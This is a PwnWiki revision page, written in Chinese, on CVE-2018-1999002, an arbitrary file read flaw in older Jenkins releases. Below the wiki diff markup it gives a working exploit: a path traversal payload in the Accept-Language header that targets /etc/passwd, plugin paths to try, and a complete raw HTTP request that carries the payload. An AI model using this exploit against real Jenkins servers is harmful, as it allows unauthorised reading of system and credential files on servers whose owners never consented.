Difference between revisions of "CVE-2018-1999002 任意文件讀取漏洞"
From PwnWiki
(Created page with "<languages /> <translate> ==影響版本== Jenkins weekly 2.132 以及更早的版本 Jenkins LTS 2.121.1 以及更早的版本 可以讀取Windows系統服務器中的任...") |
(Marked this version for translation) |
||
| Line 2: | Line 2: | ||
<translate> | <translate> | ||
| − | ==影響版本== | + | ==影響版本== <!--T:1--> |
Jenkins weekly 2.132 以及更早的版本 | Jenkins weekly 2.132 以及更早的版本 | ||
Jenkins LTS 2.121.1 以及更早的版本 | Jenkins LTS 2.121.1 以及更早的版本 | ||
| + | <!--T:2--> | ||
可以讀取Windows系統服務器中的任意文件，且在特定而條件下也可以讀取Linux系統服務器中的文件. | 可以讀取Windows系統服務器中的任意文件，且在特定而條件下也可以讀取Linux系統服務器中的文件. | ||
| − | ==漏洞利用== | + | ==漏洞利用== <!--T:3--> |
需要已經開啟了匿名用戶讀取權限，在請求頭中添加： | 需要已經開啟了匿名用戶讀取權限，在請求頭中添加： | ||
</translate> | </translate> | ||
| Line 16: | Line 17: | ||
<translate> | <translate> | ||
| + | <!--T:4--> | ||
處理請求中的包含路徑，比如/plugin/xxxx，可以嘗試: | 處理請求中的包含路徑，比如/plugin/xxxx，可以嘗試: | ||
</translate> | </translate> | ||
Latest revision as of 16:11, 9 March 2021
影響版本
Jenkins weekly 2.132 以及更早的版本 Jenkins LTS 2.121.1 以及更早的版本
可以讀取Windows系統服務器中的任意文件，且在特定而條件下也可以讀取Linux系統服務器中的文件.
漏洞利用
需要已經開啟了匿名用戶讀取權限，在請求頭中添加：
Accept-Language: /../../../../../../../../etc/passwd
處理請求中的包含路徑，比如/plugin/xxxx，可以嘗試:
/plugin/jquery-detached/.xml /plugin/jquery-detached/.key /plugin/credentials/.ini
Windows:
GET /plugin/credentials/.ini HTTP/1.1 Host: x.x.x.x:8080 Accept: text/javascript, text/html, application/xml, text/xml, */* X-Prototype-Version: 1.7 DNT: 1 X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.106 Safari/537.36 Origin: http://x.x.x.x:8080 Referer: http://x.x.x.x:8080/ Accept-Encoding: gzip, deflate Accept-Language: /../../../../../../../../etc/passwd Cookie: JSESSIONID.450017e3=x6kdpnkcgllh18wvlaohsqq8z; screenResolution=1920x1080; JSESSIONID.ccf0cd96=node09crp5bs5eglyrv874no3w48l0.node0; JSESSIONID.6551b177=14vcq2nsop6bw1u8urepj65kwv; td_cookie=1608956971 Connection: close
